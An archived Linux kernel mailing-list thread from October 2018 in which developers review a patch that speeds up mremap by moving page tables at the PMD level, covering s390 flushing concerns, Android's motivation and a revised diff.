> > +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> > +		  unsigned long new_addr, unsigned long old_end,
> > +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> > +{
> > +	spinlock_t *old_ptl, *new_ptl;
> > +	struct mm_struct *mm = vma->vm_mm;
> > +
> > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > +	    || old_end - old_addr < PMD_SIZE)
> > +		return false;
> > +
> > +	/*
> > +	 * The destination pmd shouldn't be established, free_pgtables()
> > +	 * should have release it.
> > +	 */
> > +	if (WARN_ON(!pmd_none(*new_pmd)))
> > +		return false;
> > +
> > +	/*
> > +	 * We don't have to worry about the ordering of src and dst
> > +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> > +	 */
> > +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> > +	if (old_ptl) {
> > +		pmd_t pmd;
> > +
> > +		new_ptl = pmd_lockptr(mm, new_pmd);
> > +		if (new_ptl != old_ptl)
> > +			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
> > +
> > +		/* Clear the pmd */
> > +		pmd = *old_pmd;
> > +		pmd_clear(old_pmd);  
> 
> Adding Martin Schwidefsky.
> Is this mapping maybe still in use on other CPUs? If yes, I think for
> s390 we need to flush here as well (in other word we might need to introduce
> pmd_clear_flush). On s390 you have to use instructions like CRDTE,IPTE or IDTE
> to modify page table entries that are still in use. Otherwise you can get a 
> delayed access exception which is - in contrast to page faults - not recoverable.

Just clearing an active pmd would be broken for s390. We need the equivalent
of the ptep_get_and_clear() function for pmds. For s390 this function would
look like this:

static inline pte_t pmdp_get_and_clear(struct mm_struct *mm,
                                       unsigned long addr, pmd_t *pmdp)
{
        return pmdp_xchg_lazy(mm, addr, pmdp, __pmd(_SEGMENT_ENTRY_INVALID));
}

Just like pmdp_huge_get_and_clear() in fact.

> 
> 
> 
> > +
> > +		VM_BUG_ON(!pmd_none(*new_pmd));
> > +
> > +		/* Set the new pmd */
> > +		set_pmd_at(mm, new_addr, new_pmd, pmd);
> > +		if (new_ptl != old_ptl)
> > +			spin_unlock(new_ptl);
> > +		spin_unlock(old_ptl);
> > +
> > +		*need_flush = true;
> > +		return true;
> > +	}
> > +	return false;
> > +}
> > +

So the idea is to move the pmd entry to the new location, dragging
the whole pte table to a new location with a different address.
I wonder if that is safe in regard to get_user_pages_fast().

> >  unsigned long move_page_tables(struct vm_area_struct *vma,
> >  		unsigned long old_addr, struct vm_area_struct *new_vma,
> >  		unsigned long new_addr, unsigned long len,
> > @@ -239,7 +287,21 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
> >  			split_huge_pmd(vma, old_pmd, old_addr);
> >  			if (pmd_trans_unstable(old_pmd))
> >  				continue;
> > +		} else if (extent == PMD_SIZE) {
> > +			bool moved;
> > +
> > +			/* See comment in move_ptes() */
> > +			if (need_rmap_locks)
> > +				take_rmap_locks(vma);
> > +			moved = move_normal_pmd(vma, old_addr, new_addr,
> > +					old_end, old_pmd, new_pmd,
> > +					&need_flush);
> > +			if (need_rmap_locks)
> > +				drop_rmap_locks(vma);
> > +			if (moved)
> > +				continue;
> >  		}
> > +
> >  		if (pte_alloc(new_vma->vm_mm, new_pmd))
> >  			break;
> >  		next = (new_addr + PMD_SIZE) & PMD_MASK;
> >   

-- 
blue skies,
   Martin.

"Reality continues to ruin my life." - Calvin.

From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Mon, 15 Oct 2018 02:42:09 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20181015094209.GA31999@infradead.org>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539596426 5837 195.159.176.226 (15 Oct 2018 09:40:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Oct 2018 09:40:26 +0000 (UTC)
User-Agent: Mutt/1.9.2 (2017-12-15)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 kvmarm@lists.cs.columbia.edu, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, elfring@users.sourceforge.net,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Oct 15 11:40:17 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gBzMG-0001Jo-UW
	for gla-linux-snps-arc@m.gmane.org; Mon, 15 Oct 2018 11:40:17 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=AAagu0b5ge5UWBGvCjv6bR7WGvMUCQodTKdI4V7xqMs=; b=RqvjnSrAQlx8Kc
	NIGNxGya09VWMINrFXoXN8+yCBU3SkJSpFPUoexG8OERkVDK7CiGJPuC1/NncfplhThLHTNI9Xtn9
	VAT+XxhLUSzPHwYk7Z6mypT2rnPYIsBsqBYprKEzZkpxXWlKISd7LqJ+OWEPzNPKFR6Aj49yd3+vf
	EyKewV5GihlugO1yu1VEYzeDcNajpB+b8PVNrUGmHJM93LH+7R6XaIeXANzytoOL0muvkp+nYUT8n
	O1juIvDjEktKK7OKMvsySPh8IM0tgTujvPFv3y5Y4mtNFGfgtWnTkmnXYh6v9lgQvfxhknek3GwxP
	L7O66QWOSH5QT/29+QnQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gBzOK-0001XI-4D; Mon, 15 Oct 2018 09:42:24 +0000
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.90_1 #2 (Red
 Hat Linux)) id 1gBzO5-0001W2-VT; Mon, 15 Oct 2018 09:42:09 +0000
Content-Disposition: inline
In-Reply-To: <20181013013200.206928-3-joel@joelfernandes.org>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4558 gmane.linux.ports.mips.general:67106 gmane.linux.ports.ia64:29409 gmane.linux.ports.sh.devel:57656 gmane.linux.kernel.mm:205298 gmane.linux.ports.sparc:28580 gmane.linux.ports.riscv:1083 gmane.comp.emulators.kvm.arm.devel:19483 gmane.linux.ports.hexagon:1931 gmane.linux.ports.alpha:5337 gmane.linux.ports.parisc:29191 gmane.linux.kernel:2899176 gmane.linux.ports.ppc64.devel:164378
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4558>

On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> Android needs to mremap large regions of memory during memory management
> related operations.

Just curious: why?

> +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> +	    || old_end - old_addr < PMD_SIZE)

The || goes on the first line.

> +		} else if (extent == PMD_SIZE && IS_ENABLED(CONFIG_HAVE_MOVE_PMD)) {

Overly long line.

From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Mon, 15 Oct 2018 15:33:03 -0700
Lines: 185
Approved: news@gmane.org
Message-ID: <20181015223303.GA164293@joelaf.mtv.corp.google.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181015094209.GA31999@infradead.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539642688 32337 195.159.176.226 (15 Oct 2018 22:31:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Oct 2018 22:31:28 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 kvmarm@lists.cs.columbia.edu, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, elfring@users.sourceforge.net,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Tue Oct 16 00:31:18 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gCBOP-0008FE-2L
	for gla-linux-snps-arc@m.gmane.org; Tue, 16 Oct 2018 00:31:17 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=k6iilsUaHhweKIXbkqd+tFZ5W9ThegSfrVNCApNul4w=; b=qdikP9CESsGH71
	At50qwYmyalWMWJyOZZTIuojIC81+IKzQuiHBERC3UtgDV/q7I6ZFvMGqHJ59Lu+tttjhVNJI0Wqs
	xr3su3qScZ2IS/F5bYgz2OU97rXr4TQPsOndB/3ooYTInTKIi6fBkiJzotUgRel6YfqDibBUM8qf6
	rDZ4Pbtb7V3ZBbMs5NS/ZYANSKqBHrkCHUZOj4Say5RiTrFjjMUR6efAbc7Da8pS7Eop0r5UTA95m
	Y7wUYlJejZmO8Zj4VYW4oeUXMboYvxbax1RuTWecO4mLS3t0aodi5okqn5gZA1AOnRJvbSwWIWhLl
	PFuTJ6IvW2JgaZNgjRCg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gCBQU-0004Ch-D4; Mon, 15 Oct 2018 22:33:26 +0000
Original-Received: from mail-pg1-x542.google.com ([2607:f8b0:4864:20::542])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gCBQM-00049O-RW
 for linux-snps-arc@lists.infradead.org; Mon, 15 Oct 2018 22:33:22 +0000
Original-Received: by mail-pg1-x542.google.com with SMTP id 80-v6so9819366pgh.10
 for <linux-snps-arc@lists.infradead.org>; Mon, 15 Oct 2018 15:33:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=69Ih0AxspAb3LOagwndf0nAJ0Gw/4Xn5WVb76GM8Zl4=;
 b=Opn+78pFeiAm38S8tKZCcNEMSo2ZkRyw+dKYWyPLp4MS25Ip1WRenp/4a1CfYh9wfa
 4XPqhqN7ADAJGstLtOdjqCR4tWOgV4GcXi5K9jKNvI33afu9+9M5Q3xS+aYlDUZtEc9z
 8FWqxbD6KpEBe9aT75TdS03IJiQEVDKv111dA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=69Ih0AxspAb3LOagwndf0nAJ0Gw/4Xn5WVb76GM8Zl4=;
 b=kW4KA8BJVOAzuIQe/ju0KKA++22D6s1/5+4/5p2L6dsbdarCxieV6wz1d2CJo4vpNU
 IJRN3woExnIbg98nDFtx6a0KcTmbTsMO5X3HQwgcUXCk/Pm+lZd8CrZpQoRwA/L0ibP5
 dn9EL/pZlXe0SEbNZ+Artnjna5DUD0voR0IlA0QgeSE3kwjfmuuyLo5Qun1jn+yR8wLp
 1UxT2DT4ZDyXtVCOStUqxJOVilysxKpvyVM6TotyOsSXaIAS2YPu0PitfiXJTo1RExrF
 mpYlKiw43nqyAvZqf8zxlkPfwxVyESH5w0/WiVlxc/IT9U+paeIgHvdDgkS9IrLKHXJ+
 HpUw==
X-Gm-Message-State: ABuFfohey5/5ohiRjGIXEXtLR2VkW/dd4tFsWlOD+OhBEzCmFpX2PTVV
 sZ1FNBDRaaoh3eukCPQUbXS8oQ==
X-Google-Smtp-Source: ACcGV61mavqUGksovXZjObMwGIe/HqpZ9cOw5tT0zAj6BM5KqqYwfLYZFTGqOW0BIRGwp/CBZ9RJeA==
X-Received: by 2002:a63:b4b:: with SMTP id
 a11-v6mr16810826pgl.97.1539642785540; 
 Mon, 15 Oct 2018 15:33:05 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id j14-v6sm15591781pgh.52.2018.10.15.15.33.03
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Mon, 15 Oct 2018 15:33:04 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181015094209.GA31999@infradead.org>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181015_153318_909754_1F7C554B 
X-CRM114-Status: GOOD (  26.63  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:542 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4561 gmane.linux.ports.mips.general:67110 gmane.linux.ports.ia64:29412 gmane.linux.ports.sh.devel:57665 gmane.linux.kernel.mm:205360 gmane.linux.ports.sparc:28588 gmane.linux.ports.riscv:1101 gmane.comp.emulators.kvm.arm.devel:19491 gmane.linux.ports.hexagon:1932 gmane.linux.ports.alpha:5338 gmane.linux.ports.parisc:29192 gmane.linux.kernel:2899789 gmane.linux.ports.ppc64.devel:164433
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4561>

On Mon, Oct 15, 2018 at 02:42:09AM -0700, Christoph Hellwig wrote:
> On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> > Android needs to mremap large regions of memory during memory management
> > related operations.
> 
> Just curious: why?

In Android we have a requirement of moving a large (up to a GB now, but may
grow bigger in future) memory range from one location to another. This move
operation has to happen when the application threads are paused for this
operation. Therefore, an inefficient move like it is now (for example 250ms
on arm64) will cause response time issues for applications, which is not
acceptable. Huge pages cannot be used in such memory ranges to avoid this
inefficiency as (when the application threads are running) our fault handlers
are designed to process 4KB pages at a time, to keep response times low. So
using huge pages in this context can, again, cause response time issues.

Also, the mremap syscall waiting for quarter of a second for a large mremap
is quite weird and we ought to improve it where possible.

> > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > +	    || old_end - old_addr < PMD_SIZE)
> 
> The || goes on the first line.

Ok, fixed.

> > +		} else if (extent == PMD_SIZE && IS_ENABLED(CONFIG_HAVE_MOVE_PMD)) {
> 
> Overly long line.

Ok, fixed. Preview of updated patch is below.

thanks,

 - Joel

------8<---
From: "Joel Fernandes (Google)" <joel@joelfernandes.org>
Subject: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v3)

Android needs to mremap large regions of memory during memory management
related operations. The mremap system call can be really slow if THP is
not enabled. The bottleneck is move_page_tables, which is copying each
pte at a time, and can be really slow across a large map. Turning on THP
may not be a viable option, and is not for us. This patch speeds up the
performance for non-THP system by copying at the PMD level when possible.

The speed up is three orders of magnitude. On a 1GB mremap, the mremap
completion times drops from 160-250 millesconds to 380-400 microseconds.

Before:
Total mremap time for 1GB data: 242321014 nanoseconds.
Total mremap time for 1GB data: 196842467 nanoseconds.
Total mremap time for 1GB data: 167051162 nanoseconds.

After:
Total mremap time for 1GB data: 385781 nanoseconds.
Total mremap time for 1GB data: 388959 nanoseconds.
Total mremap time for 1GB data: 402813 nanoseconds.

Incase THP is enabled, the optimization is mostly skipped except in
certain situations. I also flush the tlb every time we do this
optimization since I couldn't find a way to determine if the low-level
PTEs are dirty. It is seen that the cost of doing so is not much
compared the improvement, on both x86-64 and arm64.

Cc: minchan@kernel.org
Cc: pantin@google.com
Cc: hughd@google.com
Cc: lokeshgidra@google.com
Cc: dancol@google.com
Cc: mhocko@kernel.org
Cc: kirill@shutemov.name
Cc: akpm@linux-foundation.org
Cc: kernel-team@android.com
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---
 arch/Kconfig |  5 ++++
 mm/mremap.c  | 66 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 71 insertions(+)

diff --git a/arch/Kconfig b/arch/Kconfig
index 6801123932a5..9724fe39884f 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -518,6 +518,11 @@ config HAVE_IRQ_TIME_ACCOUNTING
 	  Archs need to ensure they use a high enough resolution clock to
 	  support irq time accounting and then call enable_sched_clock_irqtime().
 
+config HAVE_MOVE_PMD
+	bool
+	help
+	  Archs that select this are able to move page tables at the PMD level.
+
 config HAVE_ARCH_TRANSPARENT_HUGEPAGE
 	bool
 
diff --git a/mm/mremap.c b/mm/mremap.c
index 9e68a02a52b1..a8dd98a59975 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
 		drop_rmap_locks(vma);
 }
 
+static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
+		  unsigned long new_addr, unsigned long old_end,
+		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
+{
+	spinlock_t *old_ptl, *new_ptl;
+	struct mm_struct *mm = vma->vm_mm;
+
+	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK) ||
+	    old_end - old_addr < PMD_SIZE)
+		return false;
+
+	/*
+	 * The destination pmd shouldn't be established, free_pgtables()
+	 * should have release it.
+	 */
+	if (WARN_ON(!pmd_none(*new_pmd)))
+		return false;
+
+	/*
+	 * We don't have to worry about the ordering of src and dst
+	 * ptlocks because exclusive mmap_sem prevents deadlock.
+	 */
+	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
+	if (old_ptl) {
+		pmd_t pmd;
+
+		new_ptl = pmd_lockptr(mm, new_pmd);
+		if (new_ptl != old_ptl)
+			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
+
+		/* Clear the pmd */
+		pmd = *old_pmd;
+		pmd_clear(old_pmd);
+
+		VM_BUG_ON(!pmd_none(*new_pmd));
+
+		/* Set the new pmd */
+		set_pmd_at(mm, new_addr, new_pmd, pmd);
+		if (new_ptl != old_ptl)
+			spin_unlock(new_ptl);
+		spin_unlock(old_ptl);
+
+		*need_flush = true;
+		return true;
+	}
+	return false;
+}
+
 unsigned long move_page_tables(struct vm_area_struct *vma,
 		unsigned long old_addr, struct vm_area_struct *new_vma,
 		unsigned long new_addr, unsigned long len,
@@ -239,7 +287,25 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			split_huge_pmd(vma, old_pmd, old_addr);
 			if (pmd_trans_unstable(old_pmd))
 				continue;
+		} else if (extent == PMD_SIZE &&
+			   IS_ENABLED(CONFIG_HAVE_MOVE_PMD)) {
+			/*
+			 * If the extent is PMD-sized, try to speed the move by
+			 * moving at the PMD level if possible.
+			 */
+			bool moved;
+
+			if (need_rmap_locks)
+				take_rmap_locks(vma);
+			moved = move_normal_pmd(vma, old_addr, new_addr,
+						old_end, old_pmd, new_pmd,
+						&need_flush);
+			if (need_rmap_locks)
+				drop_rmap_locks(vma);
+			if (moved)
+				continue;
 		}
+
 		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
-- 
2.19.1.331.ge82ca0e54c-goog

From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Mon, 15 Oct 2018 19:08:53 -0700
Lines: 152
Approved: news@gmane.org
Message-ID: <20181016020853.GA56701@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <6580a62b-69c6-f2e3-767c-bd36b977bea2@de.ibm.com>
 <20181015101814.306d257c@mschwideX1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539655662 21029 195.159.176.226 (16 Oct 2018 02:07:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2018 02:07:42 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Christian Borntraeger <borntraeger@de.ibm.co
To: Martin Schwidefsky <schwidefsky@de.ibm.com>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Tue Oct 16 04:07:33 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gCElg-0005Ej-Gp
	for glpr-linux-riscv@m.gmane.org; Tue, 16 Oct 2018 04:07:32 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
